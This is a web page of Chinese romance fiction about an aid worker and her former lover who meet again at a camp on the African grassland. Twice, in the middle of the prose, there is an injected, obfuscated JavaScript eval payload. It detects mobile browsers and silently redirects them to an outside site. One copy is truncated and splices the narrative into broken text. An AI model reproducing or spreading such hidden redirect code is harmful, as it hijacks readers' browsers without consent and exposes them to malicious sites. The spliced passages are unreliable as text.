她那张巴掌大的面孔,在当地审美看来实在太过瘦削。清冷中混出的妩媚,在一贯浓颜的当地人看来也没那么出挑。 所以每每一出现就攫取所有人目光的姜堇,在这里变成“平平无奇一女的”。 她乐得无人关注,打扮愈发随意。 Sarah将她拖进帐篷。 “要给我化什么?”姜堇阖上眼:“紫色的闪亮眼影么?我觉得不错。” 却是双颊一阵微凉。 姜堇抬起眼皮,Sarah将一面镜子捧到她面前:“这是我们村寨里的传统,男人们会用颜料涂满全身,但我们女人只涂在脸上。” 姜堇左右顾盼。 左右双颊的三道白色涂线,让她看起来像只猫。 她放下镜子忍俊不禁:“谢谢你。” 但这妆容也没什么效果,姜堇回篝火旁落座,也并没有当地人来对她邀舞。 直至舞会过半,陈列那一队人才姗姗来迟。 姜堇坐在篝火旁,微眯着眼看过去。 她来的几个月里太过忙碌,今晚才第一次有机会尝试当地特色的象果蜜酒,酿制时加了奶油,入口时有种曲奇饼干般的甜腻。太久没喝酒的后果就是,不过喝了两杯,大脑已陷入微醺的晕眩。 陈列旁边走着个年轻女人,是陈列他们队里的,典型的南方姑娘,笑起来有种风雨如霁的婉约。 她对陈列邀舞,火光映着她淡粉的耳垂。 姜堇坐在篝火边,拿根枯枝轻轻拨弄那火星。 陈列其实从走过来第一眼就看到她了,众人都在跳舞,唯她坐在那里,百无聊赖似的,拨弄着篝火,山地靴尖时而无意识地轻晃。 陈列的营地跟姜堇不在一处,来了一周多,为数不多见她的几次,她都束着马尾,这好像是第一次见她披散着头发。 没像她在滕柏仁身边时经过精心的护理,发丝有些毛躁,更接近她十八岁站在船头甲板的模样。 姜堇低头拿树枝拨弄篝火,心想:陈列一定不答应。 他何时喜欢跳舞? 想不到陈列点了头。他很绅士,只是牵起对面女生的手,搭在女生后腰的手却虚虚悬着,跳一曲华尔兹。 陈列会的舞不多,早年陪越南老板出席舞会,他就只会华尔兹。 这里的大家跳起舞来简直不成章法,毕竟亚非欧三处的人们混杂在一起。有跳当地特色舞的,有跳桑巴的,还有另外几名亚裔在跳韩国女团舞,逗得周围人哈哈大笑。 直到一曲终了,姜堇丢开树枝朝陈列走过去。 点点他舞伴的肩,冲那女人笑道:“可以把他让给我一会儿吗?” 女人带着水乡的婉约,对姜堇弯着唇,话却说得直接:“为什么要让?他又不是东西。” 陈列:…… 女人慌忙对着陈列摆手:“啊我不是那个意思。” 陈列点头示意他明白。 “你说得对。”姜堇看向陈列:“那么陈先生,下一首舞曲你有兴趣换个舞伴吗?” 陈列垂眸看她。 她化着当地特色的妆容,两颊边白色的三道,看上去像只小猫。 陈列说:“没兴趣。” 姜堇耸了一下肩:“好吧,那打扰了。” 她退开去。 陈列跳舞的时候,眼尾瞥着她坐在篝火边,一杯象果蜜酒摆在靴子边,时不时端起抿一口。 火光映照着她的脸,她的长睫低垂。 “你喜欢她?”陈列的舞伴忽然问。 “嗯?”陈列回神。 “因为你总在看她。”女人笑起来:“最近不是有部剧特火么,我们有空也在追。剧里面说,在哈萨克语里是没有‘我喜欢你’这个表达的,当地人说‘我喜欢你’,说的其实是‘我清楚地看见你’。” “你总在看那个救助队的女孩。” “不。”陈列下意识否认道:“我没有喜欢她,我只是……有点好奇怎么会有她这样的人。” “什么样的人?” “我不知道。”陈列说:“我就是看不透她到底是什么样的人。” 直至舞会结束。 姜堇站起来,帮着Sarah收残存的垃圾。 Sarah悄悄问:“你跟帅哥跳上舞没有?” “没有。”姜堇将一只酒瓶捡起扔进袋子:“他拒绝我了。” “怎么会?”Sarah吃了一惊:“我都帮你化妆了!” 姜堇的唇角往上扬:“可能如你所说,我不够漂亮吧。” 她也不知自己怎么想的,忽然对Sarah道:“不过在我十八岁的时候,我可是很漂亮的。” Sarah狐疑地上下扫视她:“有多漂亮?” 显然在质疑这过分瘦削的亚洲女人能漂亮到哪里去。 姜堇笑出了声。 她只是忽然想起自己十八岁的时候,穿一袭劣质的红色短裙,露出白生生的大腿根,那样的红如火焰般灼灼燃烧,是过了青春期后再不适宜的红。 她在拳馆里卖扎啤,跟着刮擦耳膜的电子乐振臂起舞。人群挤攘在一起,空气里是酒味、汗味、拳台的橡胶味。 她的长发汗透了黏在额上,不用看陈列,也知陈列打完了拳赛倚在吧台边喝酒,那杯扎啤还是花十块钱从她这里买的。 陈列的目光穿越人群、穿越摇晃不定的射灯、穿越各种混杂的味道,总是准确无误落在她身上。 拳馆的拳手们总是来了又去,有时有新来的问陈列:“他们说长得特漂亮那个是你女朋友,是不是啊?” 喧嚷的人声通常让陈列听不清对方在说什么:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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陈列自己也给不出一个肯定的答案了。 姜堇陪Sarah收拾完垃圾、准备走回自己的帐篷时,发现陈列在营地旁等她。 Sarah拎着袋子冲姜堇挤眉弄眼一阵,立刻就遁了。 姜堇朝陈列走过去。 以前总是这样,从拳馆出来时当晚的热闹已散尽,只剩陈列站在孤傲的月光下、在灌木丛边等着她。 陈列听见她脚步,回头,微皱着眉,神情看上去有点不耐烦。 姜堇问:“等我有事?” 陈列抬手挠了一下头,对自己很不满意似的,问她:“跳舞么?” 姜堇微一怔,旋即挑唇。 “不跳算了。”陈列擦过姜堇身边。 “等下。”姜堇忽然抬手,软软的手指拖住他的手。 陈列步调一顿。 他永远记得姜堇第一次牵他的手。少女的手那样柔软,他没有母亲、生活中也没接触过任何女性,所以那样的柔软,甚至是他从未想象过的。 像布丁,像奶糖,像芦苇荡里藏了一冬的月光捧出来被夏夜晒化。 像他一生的可望不可及。 “跳吧。”姜堇说:“我们跳舞。” 此时已没有乐声,只有及膝高的草丛里唧唧虫鸣。 姜堇牵着陈列的手,随心中的乐声轻轻摆荡。 陈列也不知自己有什么可心软的,就因为整晚没人对姜堇邀舞? 他并不觉得自己还爱她。可她是他很多的第一次,无论他如何恨她,他胸中却始终深藏着对她的一腔柔情。 姜堇望着他。草原上未经污染的月亮有种童年般的皎洁,柔柔地落进她眼底。 她的手忽然自他掌心挣脱出来,很轻地抚一下他鬓角。 陈列立即往后躲。 “从前学校里不知多少女生说你帅。”姜堇弯着唇道:“那时我真是没感觉。可现在我看着你,觉得……” 她笑望着陈列的眼神有一个停顿,赞许似的点点头:“嗯,是挺帅的。” 陈列:“别说这种话。” “为什么?” 姜堇心中慢慢哼唱的旋律是勃拉姆斯圆舞曲,但陈列心中未见得如是。正当两人说着这番话时,先是姜堇踩了陈列一脚,紧跟着陈列又回踩姜堇一脚。 姜堇皱眉好笑地放开陈列:“我合理怀疑你是故意报复。” 陈列退开一步。 姜堇偏头看他:“陈列,为什么老是躲我?” “因为很累。”陈列说。 正当这时,有当地村民抱着几名孩童冲过来,用当地语呼喊着什么。 姜堇立刻冲过去。救助队的队员们喝酒都是收着劲,姜堇用对讲机一唤,立刻有人赶来投入工作状态。他们对疟疾的态度很谨慎,唯恐控制不力蔓延成一场瘟疫。 陈列留下来帮忙。 当他推着转运床和姜堇一起狂奔在走道上,声音低低在姜堇耳边想起: “因为你就像一场瘟疫。” “我知道自己抵抗不了,就只想逃。” 65. 有点凶 又是一夜未眠。 姜堇到天亮时堪堪阖眼睡了一个半小时。夏天即将过去,夜里气温陡降,姜堇合衣躺下时嗓子眼发干,她有些犹豫要不要吃包药预防感冒。 但药品物资所余皆不多,遂决定作罢。 醒来时她发现自己做了个错误的决定。 头脑有种昏沉沉的晕眩感,走路时脚像踩在棉花里打飘。她知自己不是病毒性感冒,传染他人的风险不高,坚持到下午,太阳穴却跳痛得愈发厉害。 只得告假回去休息。 回到帐篷,连衣服都没力气脱,裹着毯子沉沉睡了过去。 一觉醒来,外面天光昏暗。她勉强摸过手表看了眼,已是夜里九点了。今晚与她合住帐篷的同事们值夜班,所以到现在仍只有她一个人躺着。 胃里空空的,导致喉咙里有些发苦。她也没力气弄什么自热饭了,伸手取过床头的水缸,里面还剩一口凉水,她准备就着把药吞下继续睡。 帐篷里一片昏茫,她眼皮沉重地搭着,只感到有人攥了把她细瘦的腕子。 她先是浑身一绷。 接着在闻到陈列身上气息时,又浑身瘫软地倒回毯子里,鼻音浓重地宛若梦呓:“陈列,你怎么来了。” 姜堇这人生命力顽强,她印象中自己严重感冒的有三次。 第一次是她在雨里对李黎下跪,浑身都被浇透。 第二次是她为躲避枪击,和陈列一起躲进瑞典北部密林里。 再有第三次,就是现在。 姜堇阖着眼想:巧了,桩桩次次,都和陈列在一起。 陈列放开姜堇,看她因高热双颊浮出病态的红晕,巴掌大的脸皱成一团,让人联想起舞会那晚她看上去像只小猫,有些可怜。 他想口出恶言地说,我不来怕你病死在这里。 却还是忍了回去。 他下午因工作往姜堇她们的医疗帐篷去了几次,很奇怪的,却没瞧见姜堇。 他本不想理会这事,到了傍晚,却忍不住绷着脸去问她们护士长:“Lilac去哪了?” 被告知姜堇生病。 他走近帐篷里来的时候,里面一片昏暗。看不见姜堇,只看到军绿色的毯子垄起了小小的一块。帐篷里有她身上的茉莉香,因她大量出汗而愈发铺天盖地。 他也是晚会那晚与她共舞,闻见她散开的长发间那阵茉莉香,才发现她又换回了十八岁时的那款洗发水。 陈列凶她:“你不知道自己发烧么,还用凉水吃药?” 姜堇依然阖着眼:“当地人都喝凉水。” “你是当地人么?”陈列其实不喜欢自己和姜堇在一起的状态,总是忍不住的语带讥讽:“我看你的确经常忘了自己是谁。” 姜堇缩在毯子里不言语了。 陈列去给她烧水。这里其实与他们住过的破船舱有些像,用电不方便,烧水用一只小小瓦斯炉。 陈列用一只小奶锅给她烧了些净水,倒入她床头的水缸里。 还是那种有点凶的语气:“吃饭了吗?” “没有。”姜堇伸出手臂来指了指:“那里有一堆自热饭,你给我拿一盒。” “你不用指。”陈列站起来:“我看得到。” 真不知她这人为什么晒不黑,伸出一截手臂仍白皙似冻牛奶,透着柔腻。 姜堇便又把手缩了回去:“陈列,如果没有很过分的话,我不想吃自热饭,我想吃你煮的面条。” 陈列毫不犹豫地说:“过分。” 姜堇阖眸轻轻挑起唇角:“噢。” 陈列皱眉走到她的背包边,旁边那只白色小储物箱显然是她的,放着包国内带来的面条,只剩拇指粗的一小把了。 陈列还是拿过来给她煮了。这里的调味料不似国内那么全,他撒了盐,又加大量的姜粉和胡椒给她祛寒。 姜堇闻到香气,张开眼睛来。 望着陈列蹲在瓦斯炉前的背影。他个子高,蹲下时双腿岔得很开,勾下的背脊像一片凹陷的山谷。 陈列冷着面孔把煮好的面递她:“一根都不许剩。” 姜堇撑着手臂坐起来,裹着毯子,冲他眨了一下眼:“如果我要你喂我……” 陈列:“那我就立刻把这碗面倒掉。” 姜堇轻笑一声,自己在指间拢了拢筷子,埋头吃面。 她吃东西又变回了陈列记忆中的模样,很快,大口大口,像某种小动物。 她快吃完时突然抬头,鼓着一边腮帮子看陈列。 “?”陈列坐在她对面一张折叠椅上,手里一根树枝扒拉着面前半秃的草:“呛着了?” 姜堇摇头:“我想起忘了问你,你要么?” 陈列:…… 心说你现在想起来,碗里也没剩几根了吧。 对她说:“你吃吧。” 姜堇便把剩下的几根面条吞了,连汤也喝得一干二净。 陈列坐在她对面,想起她十八岁发烧最严重的那次。那时她的意志力被完全击垮,陈列甚至一度觉得她是不是活不成了。 事实上,除了她最虚弱的几天由陈列喂着进食,之后都是陈列煮一大碗面递她,她自己捧着碗吃得一干二净。 很懂自己挣扎求生。 陈列起身收走她手里的碗:“睡吧。” 姜堇端起水缸喝了口热水,缩回毯子里:“不睡,等着半小时后吃药。” “你睡吧。”陈列坐回她对面的折叠椅上:“我叫你。” “陈列。” “嗯?” “你不忙吗?” 陈列抬起眼,真的很想脱口而出“那我走了”,又听毯子里发出轻轻地笑声。 姜堇整个人缩在毯子里,只有头顶一点凌乱的发丝露出来。 陈列又说一遍:“睡吧。” “我睡不着。”姜堇背对着陈列:“我问你个问题。” “嗯。” “过去的那些时间,你是怎么过的?” “什么意思?” 姜堇的声音渐渐泛了些模糊的困意:“就是……我们不在一起的那些时间。” 陈列顿了顿。 他整个人往后仰,靠住折叠椅的椅背,这椅子对他来说小巧得过分,因为他双腿分得很开。也许姜堇困倦的声音听上去像放松了警惕,传染着他的神经也松弛下来。 “我在国外待了很久。” “国外……”姜堇浅浅打了个呵欠:“是哪里?” 陈列捡起脚边方才的那根树枝,拇指食指捻住转了圈:“有条河的地方。” “漂亮吗?” “其实不。”陈列:“没有照片里看上去那么宽和干净。唯一好看的时候,是夕阳西沉的时候。” 日暮的蓝调时分,他站在船头甲板,感受带潮热气息的风扑面而来,闷住人的每一个毛孔。 他不愿告诉姜堇的是,那样的时候,总让他想起曾经住过一年的臭水河。 分明才一年而已。 怎么感觉像占据了生命里的绝大部分篇章,以至于在某些难得感性的瞬间,回忆起的都是那时断章。 姜堇忽然问:“想起过我吗?” 陈列缄默数秒的时间:“没有。”又问姜堇:“你到底睡不睡?” 姜堇淡笑:“其实我不敢睡。我的人生永远都在往前跑,我不太敢让自己有闲下来的时候。” 她对陈列说:“要不你给我唱首歌,催眠的。” 陈列喉咙里低沉哂笑一声,笑她简直想太多。 他只是沉默不语地握着树枝,在面前草地随意扒拉着,那沙沙沙的声音听起来像落雨。 竟也似某种白噪音。 姜堇便是那样睡了过去的。 陈列看着她背影。他心里一点也不想承认自己有瞬间的心疼,在他刚进帐篷时她脊背瞬间的绷紧,那是她对世界本能的防御,让他想起她十八岁独自住在破船,来开门时手里总是藏捏着柄水果刀。 还有她现在睡觉的姿态,背脊蜷着,头向下埋,一个随时可以跳起来逃走的姿势。 她的头完全深埋进毯子里,枕头被挤到行军床的边沿。考虑到她正发高烧,陈列担心她会闷死自己,起身想把她的头扶到枕头上。 她皱着眉轻一挣,枕头被挤得掉落在地。 陈列替她捡起来拍干净时,什么东西簌簌掉落在地。 是一沓钱。 不是当地用的纸币,而是人民币,一张一张陈旧的十块。 是姜堇当年从陈列枕头下拿走的七十块钱。 陈列沉默地把钱塞回枕头里,放回床上,轻抬她的头靠住枕头。 姜堇睁眼时,几乎是猛地从床上弹坐了起来。 帐篷里只开一盏小夜灯,陈列尚坐在那张折叠椅上,手里一根树枝没继续在地上划拉,只是一下下轻摇着。 姜堇的双肩松弛下来,扯起毯子裹住自己:“我睡了多久?” 她感到自己绝不止睡了半个小时。帐篷外夜浓如墨,能听到草原上独有的虫鸣,远远传来野生动物的嗥叫声,却因营地里的篝火不敢靠近。 陈列抬腕看了眼表:“四个小时。” 姜堇吃了一惊——她在这里一来太忙,二来不适应气候,鲜少有这样整段的睡眠。 “已经夜里一点了?”她问陈列:“你一直坐在这里?” 陈列并不答她的话,只是站起来端了床头的水缸,又剥两粒退烧药给她:“吃药。” 姜堇接过:“刚才怎么不叫我?” 陈列只是说:“睡眠更重要。” 姜堇仰头吞服下药丸,发现水缸里是恰到好处的温热。 她瞥了眼地上放置的瓦斯炉。 陈列是反反复复加热着水、等着她随时醒来么? 陈列拿走她手里的水缸,又倒了满杯热水替她放在床头:“你睡吧,我走了。” 姜堇却拖住陈列的手。 她的手永远那么柔软。陈列的动作滞住一瞬,由她那么拖着,勾腰看着她。 姜堇身上是裹在毯子里睡出的一身热气,让她的体香毫无顾忌向陈列袭来。她轻声问:“你要留下来吗?” 陈列拂开她的手,只是说:“睡吧。” 跨步走出了她的帐篷。 - 翌日姜堇回归,护士长关切问她:“没事了吧?” 姜堇扬唇:“已经全好了。” “嗬。”护士长:“我们从国内带来的退烧药真厉害,对吧?” 下午工作稍闲暇时,姜堇带病愈的孩子们在帐篷外打羽毛球。 其实这里不适合打羽毛球,草太密,一颗球落进去要找许久。 陈列来医疗帐篷这边时看见过几次,每次心里都奇怪得紧。 这天他从医疗帐篷里走出来时,带着暑气的风一扬,羽毛球就被挂在了过分蕃庑的枝头。 姜堇拎着羽毛球拍蹲下身,陈列听到她在跟当地的孩子们说,让他们来找陈列帮忙捡球。 “我不去。”其中一个男孩道。 “为什么?”姜堇问。 “因为他长得好凶。”男孩:“看起来比豹子厉害。” 陈列:…… 有这么夸张? 姜堇笑得肩膀晃动起来,手扶着一个女孩的后腰:“不如你去吧,他虽然凶,但对女孩比较心软。” 女孩:“你怎么知道?” “我就是知道啊。”姜堇弯着笑眼。 女孩犹犹豫豫朝陈列走来。 陈列垂眸看着她,女孩动了动嘴,没说出话,看起来要哭了。 陈列:…… “走吧。”他主动往挂住羽毛球的那棵树走去,女孩赶忙亦步亦趋跟在他身后。 姜堇已拎着羽毛球拍起身,盈着笑意看他。 陈列却不看她,敏捷地攀着树干,手臂的肌肉遒劲起来,轻而易举跃上了树。 即便是在树下仰望的本地小男孩们,也发出了赞叹的惊呼。 陈列拿到那枚羽毛球,对树下的姜堇:“接着。” “哎。”姜堇应一声走上前来,右手还拎着羽毛球拍,左手把被风拂乱的碎发勾回耳后。 她今天穿一件初熟杏黄T恤,配卡其色工装裤,素颜的白皙面庞配高马尾,看起来像个女学生。陈列不认识非洲草原上的树,只觉得一丛丛流火的花蕊看起来像凤凰花,滤过浓黄的阳光变作浅金。 片片光斑洒落,又被她扬起的笑靥接个正着。 陈列突然忍不住问:“到底为什么要打羽毛球?” “嗯?”姜堇对他扬起一只手臂:“把球给我啊。” 陈列跨踏在枝头,一手扶着虬结的枝干,另一手拎着她索要的羽毛球。他的姿态带少许散漫的痞气,也许比十八岁的他更接近少年模样。 姜堇忽然被阳光晃得恍了一下神,抿唇缩回手去。 “问你。”陈列晃了晃手里的球:“到底为什么一定要打羽毛球?” “因为我们亚洲人打羽毛球比较厉害啊。”姜堇的眼睛弯起来:“要是打其他的球,我不是被他们血虐。” “所以你,”陈列指指旁边等着的那群孩童:“这是欺负小孩儿。” 姜堇笑得弯了一下腰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708819|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “算是吧。”她咯咯地说:“反正我也从来不是什么好人。” 陈列跨坐在枝头看她。 带咸潮味道的风拂落红色花蕊落在她肩头。那一刻,日光很安宁。 姜堇回望着他,渐渐地敛住过分爽朗的笑意,微抿住唇角。 陈列移开看她的眼神,从枝头跃下,把羽毛球抛回给她。 他走开的时候,孩童们涌到她身边来。他听她扶着小女孩的后腰笑道:“看,我就说他对女孩比较心软。” 当晚陈列所在的组很忙,某组智能化整合村民信息的代码出现bug。 晚餐就用自热饭解决,陈列随手拿了盒菌菇牛肉味。 他的组长,一位年近六旬的没正形老头儿,背手踱到他身边来:“陈列,你拿的什么味啊?” 陈列随意一扬手。 “我是红烧牛肉味。”老头儿把手里的往陈列怀里一塞:“咱俩换换。” 陈列看着他。 “怎么?别这么小气嘛。” “我是说,这些自热饭口味吃起来真有差别吗?” 老头儿哈哈一笑,叫住正走过来的一个年轻女人:“小丁,你喜欢的菌菇牛肉,接着。” 被唤作“小丁”的正是与陈列跳过探戈那位,瞟了陈列一眼。 这时组里更年轻的同事跑进来:“列哥,有美女找你。” “有多美?”老头儿竖起八卦的耳朵:“有小丁美么?” 陈列:“说我没空。” 老头儿八卦的嘴脸转向陈列:“你知道是谁啊?” 陈列:“我不知道。” “不知道你就说没空?” “谁找我都没空,组里不是正忙吗?” 陈列随便扒拉了两口还未煮软的自热饭,便向工作台走去。 “话是这么说……”老头儿嘀咕一句,问小丁:“你觉不觉得他奇奇怪怪的?” 小丁笑道:“我大约知道是谁找他。” 一个bug忙了满组人整晚的时间。 组员们伸着懒腰:“列哥,回去睡觉。” “你们先走。”陈列对着电脑:“我收个尾。” 和陈列一道留下的还有小丁。她心思细,通常主机检查、关电源等琐碎杂事都揽在她这里。 陈列忙完了手头的活,指节蜷起敲一下小丁的桌面:“走吗?” 小丁正关电脑:“好啊。” 两人走出工作室时。 陈列是先开口的那个:“这么说也许不是太好。” “嗯?”小丁抬眸。 “我觉得组长好像有意思撮合我们。” 小丁笑了。 陈列抬手挠了下自己的寸头。他是个一米八十多的高大男人,五官线条分明而锋锐,一双抹黑的瞳看人时,总让人有种灵魂都被拎了拎的感觉。 可他挠头时的动作,小丁弯着眉眼想,又有种很拙朴的少年气。那让他不油腻,很干净,就像他衣服上总有种很讨人喜欢的洗衣液味。 怎么会有这年纪的男人还带少年气呢?小丁不知道,或许这世上只有姜堇一个人知道,因为他没有过真正意义上的少年时代。他的少年时代压抑,老沉,站直时后颈打弯,让他那满身锐利的少年气被封存起来。 又在往后的岁月中一点点溢散,变成一种很招女人喜欢的气质。这种招人喜欢甚至与他俊朗的五官无关。 陈列挠着头说:“这么说也许不太礼貌,但我想还是把话先说清楚比较好。” “我近期没有谈恋爱的打算。”他的双瞳漆黑如墨。草原是逆向的天空,他的双瞳是逆色的星辰。 小丁点头:“我知道啊。” “为什么?”陈列反倒怔了下。 “医疗救助队的那个女生,叫Lilac对吗?你以前是不是认识她?” 陈列下意识想说“不认识”,可话到嘴边变成了:“我不知道。” “你不知道?”人有可能不知道自己认不认识一个人吗? 可陈列说的是真的:“我不知道。” 小丁的手指一挥:“可是,她在等你。” 陈列的视线循她手指方向望过去。小丁:“我先走啦。” 她跑走两步,又扬唇回头:“陈列,我的确喜欢你。没什么其他想法,就是想把这份喜欢,告诉你一声。” 她三步并作两步,往女生帐篷那边跑去了。 陈列往男生帐篷那边走时,要路过姜堇身边。 姜堇倚在一个草堆边。这是陈列来到草原后,第一次看她穿裙子。 一条蓝底碎花裙子,下摆截在她大腿中央,她穿长袜蹬那双山地靴,披一件黯蓝中长款牛仔外套,好似刚刚洗过头,没怎么梳理整齐,微打着点蜷浓密地披散在肩头。 于是在陌生的非洲草原上,飘散开一股陈列熟悉的茉莉香。 陈列走过姜堇身边。 “我不找你。”姜堇噙笑的声音自他身后传来。 陈列这才转过头,看姜堇倚在草堆上嚼一粒口香糖,抱着双臂,脸上的神情似笑非笑:“我来看星星。” 说着当真仰头往天幕看去。不知她在这里等了多久,也许百无聊赖之时伸手拨弄过那草堆,于是一棵带新鲜涩味的草根生动混进她长发里。 陈列不禁随她仰了一下头。 天空是一种发紫的墨蓝,过分光耀的星辰似随时会落满人肩头。以前他们所住的臭水河畔,无论怎么努力想望透天幕,也看不到一颗星。 陈列忽然有种切实的感觉:原来他们已走过这么远、这么远的路了。 从一片泥泞里走出,到可以仰望现在的一片星空。 他今晚挺不想搭理姜堇,因为今天是他生日。 姜堇找来时他避而不见,想不到直至现在姜堇还在等。不过现在他迈步往前走,姜堇也不叫他,就那么双手插着口袋看星星。 陈列觉得——就算他现在就这么一路走回帐篷去,姜堇也不会拦他。 陈列大跨步地往前走,靴底磨擦草地发出窸窣的声响。 如果不是姜堇发烧的那晚、他意外发现了姜堇压在枕下的七十块钱,他真就这样一路走回帐篷里去了。 可现在他一个急停,转回姜堇面前来,深蹙着眉:“你到底想干什么?” 从十八岁开始他就这样。 每当他对姜堇无可奈何、又因此对自己不满意时,他总是这样蹙着眉。姜堇有时候想,他的眉心有一颗纽扣,缝着乱七八糟的情绪。 姜堇走上前来,抬手抚了抚他眉心缝得乱七八糟的纽扣,踮脚吻了上来。 66. 不愈 陈列想过他生日这天姜堇等在这里,会与他说许多的话。 他甚至想过姜堇会提起七年前的那段往事。也许姜堇会解释,她总是那么巧舌如簧。 陈列唯一没想到的是,姜堇会踮脚朝他吻了上来。 陈列蹙着眉往后躲,可姜堇纤细的臂膀合拢环住他的腰。她上半身穿得很严实,可露着白生生的双腿,陈列不经意垂眸时甚至看到她大腿内侧被蚊子咬了一个包。 她的舌尖钻进来,像十八岁时那样,柔软,潮湿,绑架着人的魂魄。 陈列起先是躲,后来一把揽抱住她的腰,将她纤细的腰肢往后折,吻得长驱直入,让她推搡着他的双肩只能被动承受。 “陈列……”她小小声叫他的名字:“我喘不过气。” 陈列不予理会,只是吻她。像要把她揉碎在自己怀里那般吻她,像要共同窒息抛却明天那般吻她。 他的气息灌入她口中,她很快放弃了抵抗,只是更激烈地回吻,像小兽。从前十八岁他们接吻就像角力,谁都不肯退后一步,只是姜堇没想到,陈列现在会一口狠狠咬在她舌尖。 姜堇轻嘶了声,却没放开陈列。 直到两人共同沦至缺氧边缘,陈列放开她。 她望着陈列,姣好隆起的胸膛剧烈起伏着,嘴唇是刚刚热吻过的红肿湿软,那模样看着很诱。 陈列回看着她,那眸光似有些发狠。 她却不怕他。 “陈列。”她喘着气叫他的名字:“到现在我们为什么还不能在一起呢?” “我们为什么要在一起?” “我十七岁的时候,就想和你在一起。” “为什么?” “为什么?”她偏一偏头似在反问,曼妙地笑起来:“我不是早就说过吗,陈列?我们是共犯。” 她的语调清寒间透着媚,近乎蛊惑。那些远洋里诱惑水手自己投海的人鱼,就该有这样一把嗓音。 她的面庞那般瑰丽。陈列十七岁时就觉得她是早开的玫瑰,灼灼盛放得让人疑心她随时就要凋零。 可直到现在,她仍有那般野蛮而旺盛的生命力。 陈列近乎冷笑一声,撇下她往前走去。 她也不追。直到陈列走出数十米,又大跨步踏回她面前来,一掌虎口捏着她尖俏的下巴、逼她仰起脸来看进自己眼底:“共犯是什么意思?” 姜堇潋滟着双眸:“只有你跟我是同类,只有你。” “所以你想跟我在一起?这么多年也不放过我?”陈列又一声冷笑。 姜堇头一次的在他笑声中听出了苍凉意味。从前他笑得颓懒、不屑、散漫,可他从不曾笑得苍凉。 此时他掌着姜堇下巴看进她眼底:“可是我想跟你在一起,是因为我爱你。” 姜堇心里遽然一跳。 “现在知道我为什么要躲你了吗,阿堇?因为我爱你。”陈列凝视她的眼神近乎发狠:“我深知你是个什么样的人,可怎么办呢,我还是爱你。” 他深知她目标明确。 他深知她手段决绝。 他甚至深知她的虚荣、狠辣、自我中心。 可是怎么办呢,他仍是爱她。 “所以你呢?”陈列捏着她的下颌问:“你敢爱我么?你这样的人什么都敢,你甚至不怕死,可你敢爱么?” 他说得对,姜堇不敢。 姜堇这样的人,深知爱是软肋。 白柳絮就是深深吃了爱人的亏。姜堇一步步看着母亲陷入疯癫,她只要铠甲,不要软肋。 她只要同类,不想爱人。 可此时陈列掌着她下颌,掌根贴着她天鹅般纤细的颈项,她能感到陈列腕间的脉搏,也能感到自己的颈动脉贴着陈列跳动。陈列看着他,黑眸像一汪不见底的深潭。 姜堇第一次感觉到,她又真有一刻驯服过这男人么? 他能在万千她不怕的事物中,命中她唯一怕的那件。 姜堇的一生都在与危险打交道。这样如临深渊的感觉令她想逃,可又令她深深沉迷。 “你给过我七十块钱对吗?”陈列道:“那我还给你七秒钟的时间。如果七秒钟之内你不拒绝我,我就追你,像一个男人对一个女人那样。” “我们来看看你到底敢不敢爱。如果你不敢,就永远不要再招惹我。” “七。”草原上猎猎的风刮着他额发。 “六。”他漆黑的双瞳垂沉。 “五。”每数一下他会习惯性紧抿唇角。 “四。”他的拇指贴着她颈项摩挲。 “三。”天边一道光一闪,姜堇甚至无法扭头去看那是否为一颗流星。 “二。”姜堇的咽喉贴着他掌纹滚动,显而易见看着他后结也随她节奏轻然一滚。 “一。”陈列放开了她,可眼神还定在她吻得红肿的双唇上。 “这是你自己选的,姜阿堇。”陈列说:“从现在开始,我追你。” - 姜堇回帐篷时,与她同帐的同事带着睡意朦胧的鼻音:“你回来了?” 姜堇用气声问:“吵醒你了?” “没有,在这里本来就睡不实。”同事问:“你去哪里了?” “见个人。” “这么大半夜的?”同事从毯子里仰了一下头:“什么人呐?” “嗯……”姜堇坐到自己的行军床上脱鞋。 若放在以前她会说“老熟人”,可今夜过后她会质疑她真的了解过陈列么? 她一直以为她和陈列这样的人不需要感情。他们需要的是战友、共犯、同类,相濡以沫、不遗余力。 姜堇缩回毯子里。好像直到这时,她才感到自己的心跳穿透单薄脊背,砸在行军床上咚咚、咚咚。 让她想起十八岁时,她躺在破船甲板上,胸中满是挣扎求生的不忿,一手攥拳砸在甲板上,咚咚,咚咚。 姜堇第二天早起洗漱时,看到一个高大身影双手插兜,等在她们帐篷门口。 路过的女同事们窃窃议论:“那是陈列,对吧?” 他太俊朗,人人知道他名字。 姜堇端一只不锈钢的小盆,里面装牙刷牙缸,边沿搭一条小白毛巾。路过陈列身边时,陈列叫住她:“哎。” 姜堇回眸,知道所有的女同事们都在背后偷偷看他俩。 “咚”。 陈列将什么东西丢进她盆里。 姜堇垂眸去瞧,发现那是一盒蚊虫叮咬膏。 “不知道这里有疟疾吗?穿什么裙子?”陈列不笑的时候说话语气总透着些凶。 姜堇想起昨夜被蚊子叮的那一口,此时贴着她工装裤轻轻摩擦,透着些痒。让人想起昨夜陈列的那个吻,挂在心头,也透着同样的痒。 “我提前喷了药水。”她狡辩道:“你知道吗?我只带了这一条裙子。” 他生日的时候穿了。 “可是没熨平,裙摆都是褶。” “喂陈先生,”姜堇笑了:“要求太高了吧?” “不要叫我陈先生。” “那叫你什么?” “陈列。”他墨黑的双眸迎着晨曦看过来:“叫我陈列。” 她细白的指尖贴着不锈钢盆沿点两点,舌尖推一推齿后,方才开口:“陈列。” 陈列扬起手来,像是习惯性要在她后脑揉一把。 却顿住了动作,改为扬手在半空一挥:“走了。” 陈列走后,女同事们团团围上来:“Lilac,你认识陈列啊?” “不算认识。”姜堇只是淡笑。 从昨夜过后,他们似都暴露了不为彼此所知的一面。 